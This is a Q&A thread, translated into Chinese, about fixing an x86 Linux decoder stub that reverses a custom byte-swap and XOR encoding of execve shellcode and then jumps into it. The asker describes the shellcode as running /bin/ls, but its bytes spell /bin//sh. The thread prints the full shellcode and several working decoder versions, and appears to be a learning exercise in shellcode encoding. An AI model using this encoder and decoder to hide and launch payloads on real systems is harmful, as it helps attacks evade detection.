【问题标题】:Intel x86 (IA32) assembly decoder stub for custom encoder not working as expected用于自定义编码器的 Intel x86 (IA32) 程序集解码器存根未按预期工作
【发布时间】:2021-12-28 14:38:45
【问题描述】:

我编写了一个自定义编码器,它以这种方式对我的 shellcode 进行编码:

首先它反转(交换)原始 shellcode 中的所有相邻字节,然后将每个字节与值“0xaa”进行异或 - 我进行了所有完整性检查以确保我的原始 shellcode 没有这个值,这可能会破坏我的shellcode(由于编码导致错误字符)。我的编码器的输出:

Original Shellcode( 25 Bytes) :
0x31,0xc0,0x50,0x68,0x2f,0x2f,0x6c,0x73,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x50,0x89,0xe2,0x53,0x89,0xe1,0xb0,0xb,0xcd,0x80,

Step1(Reverse adjacent Bytes)-Encoded Shellcode( 25 Bytes) :
0xc0,0x31,0x68,0x50,0x2f,0x2f,0x73,0x6c,0x2f,0x68,0x69,0x62,0x89,0x6e,0x50,0xe3,0xe2,0x89,0x89,0x53,0xb0,0xe1,0xcd,0xb,0x80,

Step2(XOR-each-BYTE-with-0xaa)-Encoded Shellcode( 25 Bytes) :
0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a,

我最初的 shellcode 的目的:它只是在 Linux 系统上使用“execve”系统调用执行 /bin/ls。完整代码:

global _start

section .text
_start:

        ; PUSH the first null dword
        xor eax, eax
        push eax


        ; PUSH //bin/sh (8 bytes)

        push 0x68732f2f
        push 0x6e69622f


        mov ebx, esp

        push eax
        mov edx, esp

        push ebx
        mov ecx, esp


        mov al, 11
        int 0x80


为了执行 shellcode,我正在练习如何编写一个解码器存根,它将解码我自定义编码的 shellcode,然后在目标机器上执行它。

这是我的解码存根汇编代码:

global _start

section .text

_start:
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx
        mov cl, 12

        jmp short call_decoder

; first : decode by XOR again with same value 0xaa
decode1:
        pop esi
        xor byte [esi], 0xaa
        jz decode2
        inc esi
        jmp short decode1

; second: rearrange the reversed adjacent BYTES, as part of encoding
decode2:
        pop esi
        mov bl, byte [esi + eax]
        mov dl, byte [esi + eax + 1]
        xchg bl, dl
        mov byte [esi + eax], bl
        mov byte [esi + eax + 1], dl
        add al, 2
        loop decode2
        ; execute Shellcode
        jmp short Shellcode

call_decoder:
        call decode1
        ; an extra byte 0xaa added at the end of encoded shellcode, as a marker to end of shellcode bytes.
        Shellcode: db 0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a,0xaa

但上面的代码给了我一个segment fault。我无法在gdb debugger 上找到故障点。需要一些关于我做错了什么的帮助。

【问题讨论】:

  • 您只能弹出 esi 一次,而不是每次都通过两个循环。确保不要在第一个循环中破坏它,这样您仍然可以在第二个循环中使用该值。
  • 在第二个循环中,您使用 ecx 作为循环计数器,但您从未将其初始化为代码长度。您可以计算第一个循环中的字节数并将 ecx 设置为 count/2。 (或者使用 cmp eax,count。)
  • @prl 非常感谢。如今,很少有人对低水平感兴趣。你是上帝派来的:)。这么小的错误,在汇编语言中调试起来可能会很麻烦。它现在完美无缺。我正在粘贴更新的代码作为答案,参考您的 cmets。

标签: security assembly x86 disassembly


【解决方案1】:

基于@prl 制作的 cmets,这些是我在解码器存根中所做的更改,现在它可以按预期工作:

global _start

section .text

; initialize registers
_start:
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx
        mov cl, 12
        jmp short call_decoder

; set starting address of Shellcode in esi register
decoder:
        pop esi
        mov edi, esi

; first: decode by XOR again with same value 0xaa 
decode1:
        xor byte [edi], 0xaa
        jz decode2
        inc edi
        jmp short decode1

; second: rearrange the reversed adjacent BYTES, as part of encoding
decode2:
        mov bl, byte [esi + eax]
        mov dl, byte [esi + eax + 1]
        xchg bl, dl
        mov byte [esi + eax], bl
        mov byte [esi + eax + 1], dl
        add al, 2
        loop decode2

        jmp short Shellcode

call_decoder:
        call decoder
        Shellcode: db 0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a,0xaa

编辑2: 更简洁、更好看的代码——也不需要硬编码 Shellcode 的长度:

global _start

section .text

_start:
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        jmp short call_decoder

decoder:
        pop esi
        mov cl, codeLen
        dec cl

decode:
        cmp al, cl
        jz last_byte_odd
        xor byte [esi + eax], 0xaa
        mov bl, byte [esi + eax]
        xor byte [esi + eax + 1], 0xaa
        xchg byte [esi + eax + 1], bl
        mov byte [esi + eax], bl
        add al, 1
        cmp al, cl
        jz Shellcode
        add al, 1
        jmp short decode


last_byte_odd:
        xor byte [esi + eax], 0xaa
        jmp short Shellcode

call_decoder:
        call decoder
        Shellcode: db 0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a
        codeLen         equ $-Shellcode

我把它留给low level 和shell-coding 爱好者来破译逻辑。

【讨论】:

  • 为什么有两个独立的循环?看起来lodsw / xor ax, 0xaaaa / xchg ah,al / stosw 会更容易。如果您正在优化代码大小而不是速度。或者lodsd/xor eax, 0xaaaaaaaa/bswap eax/ror eax,16(取消交换字;字节对保持交换)/stosw;这避免了一些 66 操作数大小的前缀并且速度更快,但总体上更大。或者为了节省指针设置,当然你可以lodsw / ... / mov [esi-2], ax。或者mov eax, [edi] / ...在斧头上/stosw。 (加载不需要操作数大小的前缀;如果缓冲区不在页尾,则更宽的加载是安全的。)
  • @Peter Cordes:在ror eax, 16 之后你的意思是stosd 不是stosw
  • @PeterCordes 你能解释一下吗。完整代码,我试过(| 是换行符):global _start|section .text|_start:|xor eax, eax|xor ecx, ecx|mov cl, 12|jmp short call_decoder|decoder:|pop esi|mov edi, esi|decode:|lodsw|xor ax, 0xaaaa|xchg ah, al|stosw|loop decode|jmp short Shellcode|call_decoder:|call decoder|Shellcode: db 0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a。给segmentation fault。当我使用 gdb 进行调试时,lodsw 按预期工作,但 stosw 不会将 ax 的内容写回 edi。我错过了什么吗?
  • 如果所有这些都在可写+可执行段中,则应该可以工作,因为您正在有效地创建自修改代码。如果不是,如果您正常构建,显然.text 部分的存储在映射为只读+ exec 时会出错。 Segfault when writing to string allocated by db [assembly] 应该适用
猜你喜欢
  • 1970-01-01
  • 2011-04-16
  • 2013-09-04
  • 1970-01-01
  • 1970-01-01
  • 2015-06-26
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多